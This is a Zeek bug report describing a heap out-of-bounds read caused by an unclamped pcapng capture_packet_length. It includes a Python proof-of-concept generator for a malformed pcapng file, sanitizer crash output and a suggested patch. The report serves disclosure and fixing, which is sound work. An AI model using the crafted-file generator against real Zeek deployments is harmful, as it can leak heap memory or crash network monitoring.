pcapng EPB capture_packet_length not clamped to allocated buffer — heap OOB read throughout the packet pipeline
This was found by the Canadian Communications Security Establishment during their security scans of the Zeek code base, but we determined it wasn't actually a security issue since it only occurs when reading pcaps locally, and can be fixed in the public.
Summary
When Zeek ingests a pcapng file, pcapng::Source::ParseEnhancedPacketBlock() copies the raw,
unvalidated capture_packet_length field from the Enhanced Packet Block into
Packet::cap_len, while the underlying packet_data buffer was allocated by the bundled
LightPcapNg library with size MIN(capture_packet_length, block_total_length - 32). A crafted
pcapng file whose EPB is small but claims a huge captured length makes every downstream packet
analyzer (plus Packet::ToVal() and PcapDumper::Dump()) treat the tiny heap allocation as
tens of kilobytes long — a large heap out-of-bounds read that leaks heap memory into
logs/events or crashes the process.
Technical details
Sink — src/iosource/pcapng/Source.cc:207-209:
pb.caplen = lepb->capture_packet_length; // raw 32-bit value from the file, no clamp
pb.origlen = lepb->original_capture_length;
pb.data = lepb->packet_data; // flexible array sized to the *clamped* lengthAllocation — src/iosource/pcapng/auxil/LightPcapNg/src/light_pcapng.c:198-230
(parse_by_type, case LIGHT_ENHANCED_PACKET_BLOCK):
uint32_t len = *(uint32_t*)(local_data + 12);
...
len = MIN(len, current->total_length - head_size); // clamp used ONLY for allocation (:204)
uint32_t actual_len = 0;
PADD32(len, &actual_len);
epb = calloc(1, sizeof(struct _light_enhanced_packet_block) + actual_len); // :208
...
epb->capture_packet_length = *(uint32_t*)local_data; // RAW value stored, never clamped (:222)The subsequent len = MIN(len, epb->capture_packet_length) (:228) only re-clamps the local
memcpy length, not the struct field.
Path — no guard exists between the file and the analyzers:
light_read_block()readstotal_lengthand the block body straight from the file; every byte, includingcapture_packet_length, is attacker-controlled.Source::ExtractNextPacket()(Source.cc:104-150) only rejectscaplen == 0 || origlen == 0(:116) and a bad interface index (:122). The stored interfacesnaplenis never consulted.Packet::Init()(src/iosource/Packet.cc) storescap_len = arg_caplenwithout validation;copydefaults to false, sodataremains a pointer into the small calloc'd block.packet_analysis::Manager::ProcessPacket()(src/packet_analysis/Manager.cc:119) callsroot_analyzer->ForwardPacket(packet->cap_len, packet->data, ...)— from here every packet analyzer trustscap_lenas the extent ofdata. The UDP checksum validator (UDP.cc:208→ip_in_cksum→in_cksum) walks the full claimed length, reading tens of kilobytes past the allocation.
Reproduction
Self-contained pcapng generator (SHB + IDB[LINUX_SLL] + one EPB, 144 bytes total; the EPB
carries 64 bytes of packet data but claims caplen = origlen = 60000):
#!/usr/bin/env python3
import struct, sys
OUT = sys.argv[1] if len(sys.argv) > 1 else "poc.pcapng"
CLAIMED_CAPLEN = int(sys.argv[2], 0) if len(sys.argv) > 2 else 60000
PAYLOAD_LEN = 64 # actual packet bytes present in the EPB
def block(btype, body):
total = 12 + len(body)
assert total % 4 == 0
return struct.pack("<II", btype, total) + body + struct.pack("<I", total)
def cksum16(b):
if len(b) % 2:
b += b"\x00"
s = sum(struct.unpack(">%dH" % (len(b) // 2), b))
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return (~s) & 0xFFFF
# Section Header Block: magic, ver 1.0, section length -1
shb = block(0x0A0D0D0A, struct.pack("<IHHq", 0x1A2B3C4D, 1, 0, -1))
# Interface Description Block: linktype=113 (LINUX_SLL), reserved, snaplen
idb = block(0x00000001, struct.pack("<HHI", 113, 0, 65535))
# Linux SLL header (16 bytes) keeps the IP header 4-byte aligned (avoids the
# unrelated fatal UBSan alignment noise Ethernet framing triggers in
# sanitizer builds; the bug itself is independent of the link layer).
sll = struct.pack(">HHH8sH", 0, 1, 6, b"\xaa" * 8, 0x0800)
HDR = len(sll)
# Inner IPv4/UDP lengths are consistent with the CLAIMED caplen so the IP
# truncation check passes and UDP checksum validation walks the full extent.
ip_len = min(CLAIMED_CAPLEN - HDR, 0xFFFF)
ipv4_nock = struct.pack(">BBHHHBBH4s4s", 0x45, 0, ip_len, 0x1234, 0, 64, 17, 0,
bytes([10, 0, 0, 1]), bytes([10, 0, 0, 2]))
ipv4 = ipv4_nock[:10] + struct.pack(">H", cksum16(ipv4_nock)) + ipv4_nock[12:]
udp = struct.pack(">HHHH", 1234, 53, ip_len - 20, 0xDEAD) # nonzero cksum
payload = (sll + ipv4 + udp).ljust(PAYLOAD_LEN, b"A")
# Enhanced Packet Block: iface 0, ts 0/0, claimed caplen, claimed origlen
pad = (-PAYLOAD_LEN) % 4
epb = block(0x00000006,
struct.pack("<IIIII", 0, 0, 0, CLAIMED_CAPLEN, CLAIMED_CAPLEN)
+ payload + b"\x00" * pad)
with open(OUT, "wb") as f:
f.write(shb + idb + epb)
print(f"wrote {OUT}: EPB claims caplen={CLAIMED_CAPLEN} but carries only "
f"{PAYLOAD_LEN} bytes of packet data")Run:
zeek -r poc.pcapngObserved results (validated 2026-08-04 at commit 62443ad95d)
ASan+UBSan build (--build-type=Debug --sanitizers=address,undefined), exit code 99:
==216602==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5080009fa174 ...
READ of size 2 at 0x5080009fa174 thread T0
#0 zeek::detail::in_cksum(...) in_cksum.cc:102:39
#1 zeek::detail::ip4_in_cksum(...) net_util.cc:45:12
#2 zeek::detail::ip_in_cksum(...) net_util.h:172:16
#3 zeek::packet_analysis::UDP::UDPAnalyzer::ValidateChecksum(...) UDP.cc:208:16
#4 zeek::packet_analysis::UDP::UDPAnalyzer::DeliverPacket(...) UDP.cc
#5 zeek::packet_analysis::IP::IPBasedAnalyzer::AnalyzePacket(...) IPBasedAnalyzer.cc:108:5
#7 zeek::packet_analysis::IP::IPAnalyzer::AnalyzePacket(...) IP.cc:267:22
#9 zeek::packet_analysis::LinuxSLL::LinuxSLLAnalyzer::AnalyzePacket(...) LinuxSLL.cc:27:12
#11 zeek::packet_analysis::Manager::ProcessPacket(...) Manager.cc:119:20
0x5080009fa174 is located 0 bytes after 84-byte region [0x5080009fa120,0x5080009fa174)
allocated by thread T0 here:
#0 calloc
#1 parse_by_type .../LightPcapNg/src/light_pcapng.c:208:9
#2 light_read_block .../LightPcapNg/src/light_pcapng.c:386:2
#3 zeek::iosource::pcapng::Source::ExtractNextPacket(...) Source.cc:104:9
SUMMARY: AddressSanitizer: heap-buffer-overflow .../src/3rdparty/in_cksum.cc:102:39The 84-byte region is the calloc'd _light_enhanced_packet_block (20-byte header + 64-byte
packet_data flexible array); the checksum loop walks the claimed 60000-byte extent past it.
Suggested fix
In pcapng::Source::ParseEnhancedPacketBlock(), clamp pb.caplen to the bytes actually
present in the block body before handing it to the pipeline:
uint32_t avail = (block->total_length > 32) ? block->total_length - 32 : 0;
pb.caplen = std::min(lepb->capture_packet_length, avail);
pb.caplen = std::min(pb.caplen, lepb->original_capture_length);Alternatively (or additionally), have LightPcapNg store the clamped len back into
epb->capture_packet_length after the MIN() calls in parse_by_type().
Source: zeek/zeek